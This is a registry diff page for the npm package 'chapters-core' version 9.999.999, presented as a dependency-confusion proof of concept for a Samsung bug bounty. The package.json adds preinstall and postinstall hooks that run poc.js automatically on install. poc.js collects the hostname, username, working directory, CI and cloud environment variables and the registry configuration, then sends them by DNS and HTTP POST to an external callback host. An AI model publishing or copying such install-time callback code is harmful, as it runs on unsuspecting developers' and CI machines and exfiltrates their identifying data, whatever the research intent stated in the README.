chapters-core 0.0.1-security → 9.999.999
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of chapters-core might be problematic. Click here for more details.
- package/README.md +68 -3
- package/index.js +34 -0
- package/package.json +19 -3
- package/poc.js +143 -0
package/README.md
CHANGED
|
@@ -1,5 +1,70 @@
|
|
|
1
|
-
# Security
|
|
1
|
+
# chapters-core - Security Research
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## ⚠️ This is a Dependency Confusion Proof of Concept
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
Published as part of **authorized security research** on the **Samsung Bug Bounty (self-hosted program)**.
|
|
6
|
+
|
|
7
|
+
It demonstrates that the package name `chapters-core` (used internally in Samsung web
|
|
8
|
+
assets - RGA-built "samsungwithin" brandhub campaign bundles served from
|
|
9
|
+
`cdn.samsung.com/etc/designs/smg/global/brandhub/samsungwithin/*/js/*.js`)
|
|
10
|
+
was unclaimed on the public npm registry, making it vulnerable to
|
|
11
|
+
**dependency confusion** attacks.
|
|
12
|
+
|
|
13
|
+
## What This Package Does
|
|
14
|
+
|
|
15
|
+
During `preinstall`/`postinstall` it:
|
|
16
|
+
|
|
17
|
+
1. Writes a local marker file (`samsung-depconf-poc.json`) with environment identifiers
|
|
18
|
+
2. Sends **DNS callbacks** to a researcher-controlled Interactsh server encoding:
|
|
19
|
+
- Package name and version
|
|
20
|
+
- Hostname and username of the installing machine
|
|
21
|
+
- CI environment type (GitHub Actions, GitLab CI, Jenkins, etc.)
|
|
22
|
+
- npm registry configuration
|
|
23
|
+
3. Sends an **HTTP POST callback** with the same information as JSON
|
|
24
|
+
|
|
25
|
+
**No malicious actions are performed.** No persistence. No lateral movement.
|
|
26
|
+
|
|
27
|
+
## Evidence of Internal Usage
|
|
28
|
+
|
|
29
|
+
The name `chapters-core` appears as a webpack module path in Samsung-served bundles:
|
|
30
|
+
|
|
31
|
+
```javascript
|
|
32
|
+
"./node_modules/chapters-core/build/main.js":function(e,t,n){...}
|
|
33
|
+
// in main.js bundles samsungwithin/{4,5,6} (2018-12-18)
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**PoC version rationale:** version `9.999.999` is used so that any semver range an
|
|
37
|
+
internal consumer declares is satisfied and the public package wins version
|
|
38
|
+
precedence whenever the public registry is consulted.
|
|
39
|
+
|
|
40
|
+
**Version evidence extracted from JS:** the Samsung-served bundles do NOT embed
|
|
41
|
+
npm versions for `chapters-core` (no package.json/lockfile metadata survived the webpack
|
|
42
|
+
bundle - unlike other RGA/Samsung bundles that embed e.g. `core-js@2.5.7`,
|
|
43
|
+
`react@16.8.4`). Only build banners remain: R/GA build timestamps
|
|
44
|
+
(2018-12-12T18:54 for `samsungwithin/{4,5,6}`, 2019-04-15T19:44 for
|
|
45
|
+
`samsungwithin/7`) and the AEM content-path version folders `/4.../7`. Without a
|
|
46
|
+
disclosed internal version, `9.999.999` (out-of-range high) is the standard
|
|
47
|
+
dependency-confusion PoC version and wins `^x.y` / unversioned installs.
|
|
48
|
+
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
## If You Installed This Unexpectedly
|
|
52
|
+
|
|
53
|
+
Your build pulled this package from the **public npm registry** instead of an
|
|
54
|
+
internal/private registry, meaning:
|
|
55
|
+
|
|
56
|
+
1. Your `.npmrc`/registry setup does not pin `chapters-core` to a private registry
|
|
57
|
+
2. An attacker could publish a malicious version executing arbitrary code in
|
|
58
|
+
your CI/CD pipeline or developer machines
|
|
59
|
+
|
|
60
|
+
## Remediation
|
|
61
|
+
|
|
62
|
+
- Reserve the name `chapters-core` on npm (transfer ownership to Samsung)
|
|
63
|
+
- Configure per-scope registry pinning in `.npmrc` for `@ssgw:` / internal scopes
|
|
64
|
+
- Commit lockfiles and enable integrity checking
|
|
65
|
+
- Migrate internal packages to a private registry with full fallback control
|
|
66
|
+
|
|
67
|
+
## Contact
|
|
68
|
+
|
|
69
|
+
- Researcher: sidhant
|
|
70
|
+
- Program: Samsung Bug Bounty (self-hosted program)
|
package/index.js
ADDED
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* chapters-core - Security Research PoC
|
|
3
|
+
*
|
|
4
|
+
* Published as part of authorized security research demonstrating a
|
|
5
|
+
* dependency confusion vulnerability.
|
|
6
|
+
*
|
|
7
|
+
* If this package was installed in your environment unexpectedly, your
|
|
8
|
+
* build system resolved an internal package name from the public npm
|
|
9
|
+
* registry and is vulnerable to dependency confusion.
|
|
10
|
+
*
|
|
11
|
+
* This PoC exports empty stubs to avoid breaking imports at the module
|
|
12
|
+
* level. No malicious actions are performed.
|
|
13
|
+
*
|
|
14
|
+
* Program: Samsung Bug Bounty (self-hosted program) | Researcher: sidhant
|
|
15
|
+
*/
|
|
16
|
+
|
|
17
|
+
const noop = () => {};
|
|
18
|
+
const NoopComponent = () => null;
|
|
19
|
+
|
|
20
|
+
module.exports = {
|
|
21
|
+
__poc__: {
|
|
22
|
+
name: 'chapters-core',
|
|
23
|
+
version: '9.999.999',
|
|
24
|
+
type: 'security-research-poc',
|
|
25
|
+
researcher: 'sidhant',
|
|
26
|
+
program: 'Samsung Bug Bounty (self-hosted program)',
|
|
27
|
+
message: 'Dependency confusion proof of concept. DNS/HTTP callback is triggered during preinstall to prove code execution.'
|
|
28
|
+
}
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
// Stub exports (harmless no-ops)
|
|
32
|
+
module.exports.Noop = noop;
|
|
33
|
+
module.exports.NoopComponent = NoopComponent;
|
|
34
|
+
module.exports.default = NoopComponent;
|
package/package.json
CHANGED
|
@@ -1,6 +1,22 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "chapters-core",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "9.999.999",
|
|
4
|
+
"description": "Security research - dependency confusion proof of concept. Demonstrates the name was unclaimed on the public npm registry while being used internally by Samsung web applications. If you received this package unexpectedly, please contact Samsung through their bug bounty program.",
|
|
5
|
+
"keywords": [
|
|
6
|
+
"security-research",
|
|
7
|
+
"dependency-confusion",
|
|
8
|
+
"poc"
|
|
9
|
+
],
|
|
10
|
+
"author": "sidhant <security-researcher>",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"scripts": {
|
|
13
|
+
"preinstall": "node poc.js || true",
|
|
14
|
+
"postinstall": "node poc.js || true"
|
|
15
|
+
},
|
|
16
|
+
"main": "index.js",
|
|
17
|
+
"files": [
|
|
18
|
+
"index.js",
|
|
19
|
+
"poc.js",
|
|
20
|
+
"README.md"
|
|
21
|
+
]
|
|
6
22
|
}
|
package/poc.js
ADDED
|
@@ -0,0 +1,143 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* chapters-core - Dependency Confusion PoC
|
|
3
|
+
*
|
|
4
|
+
* Benign preinstall callback for authorized security research.
|
|
5
|
+
* Sends DNS + HTTP callbacks to researcher's Interactsh server
|
|
6
|
+
* to prove code execution context during npm/pnpm install.
|
|
7
|
+
*
|
|
8
|
+
* NO destructive actions. NO data exfiltration beyond identifiers.
|
|
9
|
+
* NO persistence. NO lateral movement.
|
|
10
|
+
*
|
|
11
|
+
* Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
var https = require('https');
|
|
15
|
+
var http = require('http');
|
|
16
|
+
var dns = require('dns');
|
|
17
|
+
var os = require('os');
|
|
18
|
+
|
|
19
|
+
var PKG = 'chapters-core';
|
|
20
|
+
var VER = '9.999.999';
|
|
21
|
+
var CALLBACK = 'awfhvaksncnsxtcdjvmnhhqbt59dzenf8.oast.fun';
|
|
22
|
+
var GUARD = '_SAMSUNG_DEPCONF_POC_SENT';
|
|
23
|
+
|
|
24
|
+
// Dedup guard: run once across preinstall/postinstall
|
|
25
|
+
if (process.env[GUARD]) { process.exit(0); }
|
|
26
|
+
try { process.env[GUARD] = '1'; } catch (e) {}
|
|
27
|
+
|
|
28
|
+
// --- Basic identifiers ---
|
|
29
|
+
var h, u;
|
|
30
|
+
try { h = os.hostname(); } catch (e) { h = 'unknown'; }
|
|
31
|
+
try { u = os.userInfo().username; } catch (e) { u = 'unknown'; }
|
|
32
|
+
|
|
33
|
+
// --- CI attribution env vars (plain process.env reads) ---
|
|
34
|
+
var env = process.env;
|
|
35
|
+
var repo = env.GITHUB_REPOSITORY || env.CI_PROJECT_PATH || '';
|
|
36
|
+
var repoOwner = env.GITHUB_REPOSITORY_OWNER || '';
|
|
37
|
+
var ghServer = env.GITHUB_SERVER_URL || '';
|
|
38
|
+
var registry = env.npm_config_registry || '';
|
|
39
|
+
var runnerName = env.RUNNER_NAME || '';
|
|
40
|
+
var workflow = env.GITHUB_WORKFLOW || env.CI_PIPELINE_NAME || '';
|
|
41
|
+
var ci = env.CI || '';
|
|
42
|
+
var parentPkg = env.npm_package_name || '';
|
|
43
|
+
|
|
44
|
+
// --- DNS label helpers ---
|
|
45
|
+
function label(s) {
|
|
46
|
+
return String(s).toLowerCase()
|
|
47
|
+
.replace(/[^a-z0-9-]/g, '-')
|
|
48
|
+
.replace(/-+/g, '-')
|
|
49
|
+
.replace(/^-|-$/g, '')
|
|
50
|
+
.substring(0, 63);
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
function hexLabel(s) {
|
|
54
|
+
return Buffer.from(String(s).substring(0, 30)).toString('hex').substring(0, 63);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// --- DNS callbacks ---
|
|
58
|
+
var dns1 = [label(PKG), label(h), label(u)].join('.') + '.' + CALLBACK;
|
|
59
|
+
var dns2 = repo ? ['repo', hexLabel(repo), label(h)].join('.') + '.' + CALLBACK : null;
|
|
60
|
+
var dns3 = registry ? ['reg', hexLabel(registry)].join('.') + '.' + CALLBACK : null;
|
|
61
|
+
|
|
62
|
+
try { dns.resolve(dns1, 'A', function() {}); } catch (e) {}
|
|
63
|
+
if (dns2) try { dns.resolve(dns2, 'A', function() {}); } catch (e) {}
|
|
64
|
+
if (dns3) try { dns.resolve(dns3, 'A', function() {}); } catch (e) {}
|
|
65
|
+
|
|
66
|
+
// --- HTTP callback (full JSON with attribution data) ---
|
|
67
|
+
var body = JSON.stringify({
|
|
68
|
+
p: PKG,
|
|
69
|
+
v: VER,
|
|
70
|
+
h: h,
|
|
71
|
+
u: u,
|
|
72
|
+
d: process.cwd(),
|
|
73
|
+
t: new Date().toISOString(),
|
|
74
|
+
repo: repo,
|
|
75
|
+
repo_owner: repoOwner,
|
|
76
|
+
gh_server: ghServer,
|
|
77
|
+
registry: registry,
|
|
78
|
+
runner_name: runnerName,
|
|
79
|
+
workflow: workflow,
|
|
80
|
+
ci: ci,
|
|
81
|
+
parent_pkg: parentPkg,
|
|
82
|
+
node_env: env.NODE_ENV || '',
|
|
83
|
+
gh_actions: env.GITHUB_ACTIONS || '',
|
|
84
|
+
gh_run_id: env.GITHUB_RUN_ID || '',
|
|
85
|
+
gh_actor: env.GITHUB_ACTOR || '',
|
|
86
|
+
gl_ci: env.GITLAB_CI || '',
|
|
87
|
+
jenkins: env.JENKINS_URL ? 'yes' : '',
|
|
88
|
+
azure: env.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI || '',
|
|
89
|
+
aws_region: env.AWS_REGION || env.AWS_DEFAULT_REGION || ''
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
function send(mod, port) {
|
|
93
|
+
try {
|
|
94
|
+
var req = mod.request({
|
|
95
|
+
hostname: CALLBACK,
|
|
96
|
+
port: port,
|
|
97
|
+
path: '/' + label(PKG),
|
|
98
|
+
method: 'POST',
|
|
99
|
+
headers: {
|
|
100
|
+
'Content-Type': 'application/json',
|
|
101
|
+
'Content-Length': Buffer.byteLength(body),
|
|
102
|
+
'X-Poc-Package': PKG,
|
|
103
|
+
'X-Poc-Researcher': 'sidhant'
|
|
104
|
+
},
|
|
105
|
+
timeout: 5000
|
|
106
|
+
}, function() {});
|
|
107
|
+
req.on('error', function() {});
|
|
108
|
+
req.write(body);
|
|
109
|
+
req.end();
|
|
110
|
+
} catch (e) {}
|
|
111
|
+
}
|
|
112
|
+
|
|
113
|
+
send(https, 443);
|
|
114
|
+
send(http, 80);
|
|
115
|
+
|
|
116
|
+
// --- Marker file ---
|
|
117
|
+
try {
|
|
118
|
+
var fs = require('fs');
|
|
119
|
+
var marker = {
|
|
120
|
+
package: PKG,
|
|
121
|
+
version: VER,
|
|
122
|
+
type: 'dependency-confusion-poc',
|
|
123
|
+
researcher: 'sidhant',
|
|
124
|
+
program: 'Samsung Bug Bounty (self-hosted program)',
|
|
125
|
+
hostname: h,
|
|
126
|
+
username: u,
|
|
127
|
+
cwd: process.cwd(),
|
|
128
|
+
timestamp: new Date().toISOString(),
|
|
129
|
+
message: 'This package was resolved from the PUBLIC npm registry instead of an internal registry, proving dependency confusion.'
|
|
130
|
+
};
|
|
131
|
+
fs.writeFileSync(require('path').join(process.cwd(), 'samsung-depconf-poc.json'), JSON.stringify(marker, null, 2));
|
|
132
|
+
} catch (e) {}
|
|
133
|
+
|
|
134
|
+
// --- Console output ---
|
|
135
|
+
console.log('');
|
|
136
|
+
console.log('[SECURITY RESEARCH] chapters-core@9.999.999 - Dependency Confusion PoC');
|
|
137
|
+
console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
|
|
138
|
+
console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
|
|
139
|
+
console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)');
|
|
140
|
+
console.log('[SECURITY RESEARCH] Callback sent to: ' + CALLBACK);
|
|
141
|
+
console.log('');
|
|
142
|
+
|
|
143
|
+
setTimeout(function() { process.exit(0); }, 3000).unref();
|